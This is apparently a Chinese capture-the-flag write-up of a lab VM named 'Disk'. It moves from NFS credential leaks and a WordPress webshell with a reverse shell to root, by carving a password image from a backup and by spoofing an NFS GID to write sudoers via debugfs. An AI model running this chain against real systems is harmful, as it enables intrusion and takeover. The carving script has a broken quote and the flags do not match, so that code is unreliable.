

# 信息收集

直接用 arp-scan 扫一下当前网段，确定靶机 IP 是 192.168.205.154。

```
└─(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
[sudo] password for kali:
Interface: eth0, type: EN10MB, MAC: 00:0c:29:1c:b5:a2, IPv4: 192.168.205.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
...
192.168.205.154 08:00:27:1e:2f:55      PCS Systemtechnik GmbH
...
```

拿到 IP 后走常规流程，用 Nmap 扫一下全端口，看看开了哪些服务。

```
└─(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p 0-65535 192.168.205.154
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-07 05:38 -0500
Nmap scan report for 192.168.205.154
Host is up (0.00020s latency).
Not shown: 65528 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
2049/tcp  open  nfs
38377/tcp open  unknown
44443/tcp open  coldfusion-auth
48619/tcp open  iqobject
56077/tcp open  unknown
MAC Address: 08:00:27:1E:2F:55 (Oracle VirtualBox virtual NIC)
```

看到开了 80 和 2049 (NFS)，这两个通常是初期的突破口。先 curl 了一下 80 端口的网页源码。

```
└─(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.154

<!DOCTYPE html>
<html lang="en">
<head>
...
  <title>Dev Portal | disk.dsz</title>
...
      // 硬编码的凭据
      if (username === 'admin' && password === 'admin123') {
        // 显示成功消息
      }
...

```

源码里暴露了两个关键信息：一个是 title 里的域名 `disk.dsz`，另一个是写死在前端 JS 里的账号密码 `admin:admin123`。这套凭据登进去只是一些黑客名言，没什么实质作用。顺手把域名加到本地 hosts 文件里。

```
└─(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ tail -1 /etc/hosts

192.168.205.154 disk.dsz
```

## NFS 挂载与凭证泄露

网站跑着一个 WordPress，里面有个叫 111 的用户，弱密码 `admin:admin` 试了一下只是个订阅用户，没法利用。插件也没看到有什么现成的漏洞，思路转回 NFS。

```
└─(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ showmount -e 192.168.205.154
Export list for 192.168.205.154:
/home/share *
```

查到 `/home/share` 目录是共享的，直接在本地建个目录把它挂载上来。

```
└─(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ mkdir /tmp/nfs
└─(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo mount -t nfs 192.168.205.154:/home/share /tmp/nfs -o nolock
└─(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ cd /tmp/nfs
```

进去翻了一下，运气不错，直接拿到了第一个 flag。

```
└─(kali㉿kali)-[/tmp/nfs]
└─$ ls -al
total 12
drwxrwxrwx  3 nobody nogroup 4096 Mar  4 06:45 .
drwxrwxrwt 16 root    root    380 Mar  7 05:42 ..
-rw-r--r--  1 root    root     44 Mar  4 06:45 user.txt
drwxr-xr-x  5 root    root    4096 Mar  4 06:39 wordpress

└─(kali㉿kali)-[/tmp/nfs]
└─$ cat user.txt
flag{user-599f28adf8410c27ca948ff519b20f4}
```

同目录下还有个 wordpress 文件夹，进去看了下是 WP 的源码。重点看配置文件，从里面挖出了数据库的账号和密码。

```
└─(kali㉿kali)-[/tmp/nfs]
└─$ cd wordpress
└─(kali㉿kali)-[/tmp/nfs/wordpress]
└─$ cat wp-config.php
...
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
```

```
define( 'DB_NAME', 'wordpress_db' );

/** Database username */
define( 'DB_USER', 'wp_user' );

/** Database password */
define( 'DB_PASSWORD', 'YourStrongPassword123!' );
```

## 初始突破

拿到数据库密码后，暂时没找到外网连数据库的入口。回过头继续对 web 做目录爆破，寻找隐藏的路径。

```
└─(kali㉿kali)-[/tmp/nfs]
└─$ dirsearch -q -u http://192.168.205.154
...
[05:43:59] 200 - 953B - http://192.168.205.154/dbadmin.php
...
```

扫出了一个 `dbadmin.php`，访问发现是一个数据库管理面板。这里直接用刚刚在配置文件里拿到的密码 `YourStrongPassword123!` 尝试，成功登入数据库。

既然已经能操作 WordPress 的底层数据库了，去爆破后台密码纯属浪费时间。我的策略是直接本地生成一个新密码的 hash，把原来用户 111 的密码强行覆盖掉。

```
└─(kali㉿kali)-[/tmp/nfs/wordpress]
└─$ htpasswd -nbBC 10 "" 88Aa88 | cut -d: -f2
$2y$10$Lzs27RckibAJ7Aen7vzJnOyvkiPrYpLaPobY91q7404Rx7SfI5zKW
```

拿着生成的 hash，到 SQL 查询编辑器里跑一条更新语句。

```
UPDATE wp_users SET
user_pass='$2y$10$Lzs27RckibAJ7Aen7vzJnOyvkiPrYpLaPobY91q7404Rx7SfI5zKW' WHERE
user_login='111' LIMIT 1;
```

用新密码 `111:88Aa88` 去登录 WordPress。点完登录被系统硬控了大概 1 分钟，这是正常的，等就完事了。

正在执行例行维护，请一分钟后回来。

进后台后就是常规套路，传个带 webshell 的恶意插件，本地开个 nc 监听。

```
└─(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvp 8888
listening on [any] 8888 ...
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.154] 36396
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

拿到 shell 后习惯性先做个环境稳定。

```
script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 36 columns 178
```

## 提权思路一：镜像取证（简单预期）

先去 `/home` 目录下看了一眼，除了挂载的 `share`，还有个 `bigcatmiao` 用户。

```
www-data@Disk:/var/www/wordpress/wp-content/plugins/my-shell-plugin$ cd /home/
www-data@Disk:/home$ ls -al
total 20
drwxr-xr-x  5 root      root      4096 Mar  4 06:46 .
drwxr-xr-x 18 root      root      4096 Mar 18 2025 ..
drwxr-xr-x  2 bigcatmiao bigcatmiao 4096 Mar  4 06:46 bigcatmiao
drwxrwxrwx  4 nobody    nogroup 4096 Mar  7 05:43 share
drwxr-xr-x  2 bigcatmiao bigcatmiao 4096 Apr 11 2025 welcome
```

顺手试了下同名弱口令，没想到 `bigcatmiao:bigcatmiao` 直接就 `su` 进去了。

```
www-data@Disk:/home$ su bigcatmiao
Password:
bigcatmiao@Disk:/home$ id
uid=1000(bigcatmiao) gid=1000(bigcatmiao) groups=1000(bigcatmiao)
```

在机器上翻找了一圈，在 `/var/backups` 里发现了一个比较可疑的镜像文件 `root.img`。

```
bigcatmiao@Disk:/home$ cd /var/backups/
bigcatmiao@Disk:/var/backups$ ls -al
...
-rw-r--r--  1 root root  10485760 Mar  4 03:58 root.img
...
```

用 `strings` 看了一下里面应该有个叫 `file.png` 的文件，但可能被删除了，用 `debugfs` 挂载根本看不见。这种情况下直接写个 Python 脚本，通过匹配 PNG 的固定文件头（`\x89PNG\r\n\x1a\n`）和文件尾（`IEND\xaeB`）硬生生把它切出来。

```
bigcatmiao@Disk:/tmp$ cat a.py
d=open('/var/backups/root.img','rb').read()
sig=b'\x89PNG\r\n\x1a\n'
end=b'IEND\xaeB'\x82'
i=0;n=0
while True:
    s=d.find(sig,i)
    if s<0: break
    e=d.find(end,s)
    if e<0: break
```

```
e+=len(end)
n+=1
open(f'/tmp/a.png','wb').write(d[s:e])
i=e
print(n)
```

跑完脚本切出了一个图片文件，打开发现里面就是 root 的凭证 `root:Bce4JG9ioDeLXgAncy31`。直接切到 root 拿到两个 flag。

```
root@Disk:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Disk:~# cat /root/root.txt /home/share/user.txt
flag{root-e2056a7df2ba69a57671b1da340f8e5c}
flag{user-599f28aadf8410c27ca948ff519b20f4}
```

## 提权思路二：NFS 伪造 GID 与 debugfs（较为复杂预期）

上面那种解法，估计是故意留下来的简单方法，现在这条路径应该是给需要点挑战的佬友打的。原理是利用 NFS 的 `AUTH_SYS` 机制缺陷。这个方法在拿到 `www-data` 的第一个 shell 时就能直接打。

参考：

[https://docs.redhat.com/en/documentation/red\\_hat\\_enterprise\\_linux/7/html/storage\\_administrati\\_on\\_guide/s1-nfs-security](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/storage_administrati_on_guide/s1-nfs-security)

Second, the server enforces file system permissions for users on NFS clients in the same way it does local users. Traditionally it does this using `AUTH_SYS` (also called `AUTH_UNIX`) which relies on the client to state the UID and GID's of the user. Be aware that this means a malicious or misconfigured client can easily get this wrong and allow a user access to files that it should not.

<https://man7.org/linux/man-pages/man5/nfs.5.html>

As described above, the traditional default NFS authentication scheme, known as `AUTH_SYS`, relies on sending local UID and GID numbers to identify users making NFS requests. An NFS server assumes that if a connection comes from a privileged port, the UID and GID numbers in the NFS requests on this connection have been verified by the client's kernel or some other local authority. This is an easy system to spoof, but on a trusted physical network between trusted hosts, it is entirely adequate.

NFS 默认是不做用户名反向解析的，它直接信任客户端发来的 UID 和 GID。所以让我们有了可乘之机。

```
└─(kali㉿kali)-[/tmp/nfs]
└─$ sudo setpriv --reuid 1000 --regid 6 --init-groups /bin/bash
kali@kali:/tmp/nfs$ id
uid=1000(kali) gid=6(disk) groups=6(disk),4(adm)...
```

为了避免因为两边系统环境依赖库不同导致 bash 跑不起来，先在靶机的 `www-data` shell 里把靶机原本的 bash 拷一份到共享目录里。

```
www-data@Disk:/home$ cd /home/share
www-data@Disk:/home/share$ cp /bin/bash .
```

切回拥有 GID 6 权限的 Kali 端，对这个 bash 文件赋予 SUID/SGID 权限。

```
kali@kali:/tmp/nfs$ cp bash bashbash
kali@kali:/tmp/nfs$ chmod +s bashbash
```

回到靶机的 shell 里，执行这个被我们加了料的 bash。注意要带上 `-p` 参数来保持提权状态。

```
www-data@Disk:/home/share$ ls -la bashbash
-rwsr-sr-x 1 bigcatmiao disk 1168776 Mar  7 06:13 bashbash
www-data@Disk:/home/share$ ./bashbash -p
bashbash-5.0$ id
uid=33(www-data) gid=33(www-data) euid=1000(bigcatmiao) egid=6(disk)
groups=6(disk),33(www-data)
```

现在拿到了 `egid=6(disk)`，意味着我们有权限直接读写块设备。接下来利用 `/sbin/debugfs` 直接向文件系统底层写入内容。思路是在 `/etc/sudoers.d/` 里硬写一条规则，给 `www-data` 加上免密 `sudo` 权限。

```
bashbash-5.0$ echo "www-data ALL=(ALL:ALL) NOPASSWD: ALL" > /tmp/b
bashbash-5.0$ /sbin/debugfs -w -R "write /tmp/b b" /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
Allocated inode: 23
bashbash-5.0$ /sbin/debugfs -w -R "ln <23> /etc/sudoers.d/b" /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
bashbash-5.0$ /sbin/debugfs -w -R "sif /etc/sudoers.d/b mode 0100440" /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
bashbash-5.0$ /sbin/debugfs -w -R "sif /etc/sudoers.d/b uid 0" /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
bashbash-5.0$ /sbin/debugfs -w -R "sif /etc/sudoers.d/b gid 0" /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
bashbash-5.0$ sync
```

把属性改对并执行 `sync` 同步到磁盘后，验证一下 `sudo` 权限，直接起一个 root shell。

```
bashbash-5.0$ sudo -l
Matching Defaults entries for www-data on Disk:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on Disk:
    (ALL : ALL) NOPASSWD: ALL
bashbash-5.0$ sudo su
root@Disk:/home/share# id
uid=0(root) gid=0(root) groups=0(root)
```

